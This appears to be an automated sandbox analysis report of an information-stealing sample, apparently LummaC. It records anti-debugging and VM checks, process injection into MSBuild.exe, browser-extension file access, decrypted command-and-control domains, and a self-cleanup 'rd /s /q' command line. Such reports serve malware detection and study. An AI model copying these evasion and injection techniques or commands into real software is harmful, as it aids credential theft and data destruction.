File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C73FF FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_005C73FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	1_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,strtok_s,FindNextFileA,FindClose,	1_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	1_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_0040CD37
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_003173FF FindFirstFileExW,FindNextFileW,FindClose,FindClose,	8_2_003173FF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

1_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00410FBA GetSystemInfo,wsprintfA,

1_2_00410FBA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: MSBuild.exe, 00000001.00000002.2481607551.0000000001508000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: MSBuild.exe, 00000001.00000002.2481607551.0000000001565000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2171821999.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2171821999.0000000000B82000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: MSBuild.exe, 00000009.00000002.2171821999.0000000000B5D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8e
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: MSBuild.exe, 00000001.00000002.2481607551.0000000001508000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: MSBuild.exe, 00000001.00000002.2481607551.0000000001565000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWK
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-72308
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-72292
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-73635

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\GCGHCBKFCF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\GCGHCBKFCF.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005B20AD VirtualProtect,LdrInitializeThunk,GetConsoleWindow,CallWindowProcW,

0_2_005B20AD

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005BB5D6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_005BB5D6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

1_2_00418A63

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B208F mov edi, dword ptr fs:[00000030h]	0_2_005B208F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D937A mov eax, dword ptr fs:[00000030h]	0_2_005D937A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D9362 mov eax, dword ptr fs:[00000030h]	0_2_005D9362
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D9385 mov eax, dword ptr fs:[00000030h]	0_2_005D9385
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F0582 mov eax, dword ptr fs:[00000030h]	0_2_005F0582
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C7ED8 mov eax, dword ptr fs:[00000030h]	0_2_005C7ED8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005BEE8C mov ecx, dword ptr fs:[00000030h]	0_2_005BEE8C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004014AD mov eax, dword ptr fs:[00000030h]	1_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040148A mov eax, dword ptr fs:[00000030h]	1_2_0040148A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004014A2 mov eax, dword ptr fs:[00000030h]	1_2_004014A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004186A9 mov eax, dword ptr fs:[00000030h]	1_2_004186A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004186AA mov eax, dword ptr fs:[00000030h]	1_2_004186AA
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_0030208F mov edi, dword ptr fs:[00000030h]	8_2_0030208F
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_0030EE8C mov ecx, dword ptr fs:[00000030h]	8_2_0030EE8C
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_00317ED8 mov eax, dword ptr fs:[00000030h]	8_2_00317ED8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005CA4D7 GetProcessHeap,

0_2_005CA4D7

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B7490 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_005B7490
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005BB5D6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_005BB5D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B77B5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_005B77B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B7942 SetUnhandledExceptionFilter,	0_2_005B7942
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041D12A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0041D12A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041DAAC _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0041DAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042774E SetUnhandledExceptionFilter,	1_2_0042774E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CADB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_6CADB66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CADB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6CADB1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC8AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6CC8AC62
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_00307490 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00307490
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_0030B5D6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0030B5D6
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_003077B5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_003077B5
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_00307942 SetUnhandledExceptionFilter,	8_2_00307942

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 6988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7032, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\ProgramData\GCGHCBKFCF.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write			Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_0040F54A _memset,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,ResumeThread,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,

1_2_0040F54A

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\ProgramData\GCGHCBKFCF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A			Jump to behavior

LummaC encrypted strings found

Source: GCGHCBKFCF.exe	String found in binary or memory: soldiefieop.site
Source: GCGHCBKFCF.exe	String found in binary or memory: questionsmw.stor
Source: GCGHCBKFCF.exe	String found in binary or memory: absorptioniw.site
Source: GCGHCBKFCF.exe	String found in binary or memory: mysterisop.site
Source: GCGHCBKFCF.exe	String found in binary or memory: snarlypagowo.site
Source: GCGHCBKFCF.exe	String found in binary or memory: treatynreit.site
Source: GCGHCBKFCF.exe	String found in binary or memory: chorusarorp.site
Source: GCGHCBKFCF.exe	String found in binary or memory: abnomalrkmu.site

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004124A8 __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		1_2_004124A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041257F __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		1_2_0041257F

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 430000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 43D000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 670000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 671000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: E1B008	Jump to behavior
Source: C:\ProgramData\GCGHCBKFCF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\ProgramData\GCGHCBKFCF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\ProgramData\GCGHCBKFCF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44B000	Jump to behavior
Source: C:\ProgramData\GCGHCBKFCF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44E000	Jump to behavior
Source: C:\ProgramData\GCGHCBKFCF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 45E000	Jump to behavior
Source: C:\ProgramData\GCGHCBKFCF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 71E008	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\ProgramData\GCGHCBKFCF.exe "C:\ProgramData\GCGHCBKFCF.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\CAKFIJDHJEGI" & exit	Jump to behavior
Source: C:\ProgramData\GCGHCBKFCF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005D9076 cpuid

0_2_005D9076

Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_005CA0A0
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_005CA1A6
Source: C:\Users\user\Desktop\file.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_005CA275
Source: C:\Users\user\Desktop\file.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_005FF56E
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_005C1A32
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_005C9BFE
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_005C9BB3
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_005C9C99
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_005C9D24
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_005C1EDC
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_005C9F77
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	1_2_00410DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_0042B1EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	1_2_0042B2E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	1_2_00429B70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	1_2_0042B3E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	1_2_0042B388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	1_2_0042AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	1_2_00425503
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	1_2_0042B5B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	1_2_004275BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: EnumSystemLocalesA,	1_2_0042B676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	1_2_00428EE4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	1_2_00429E8E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l,	1_2_0042E68F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	1_2_00427696
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	1_2_0042B6A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	1_2_0042B743
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	1_2_0042B707
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoA,	1_2_0042E7C4
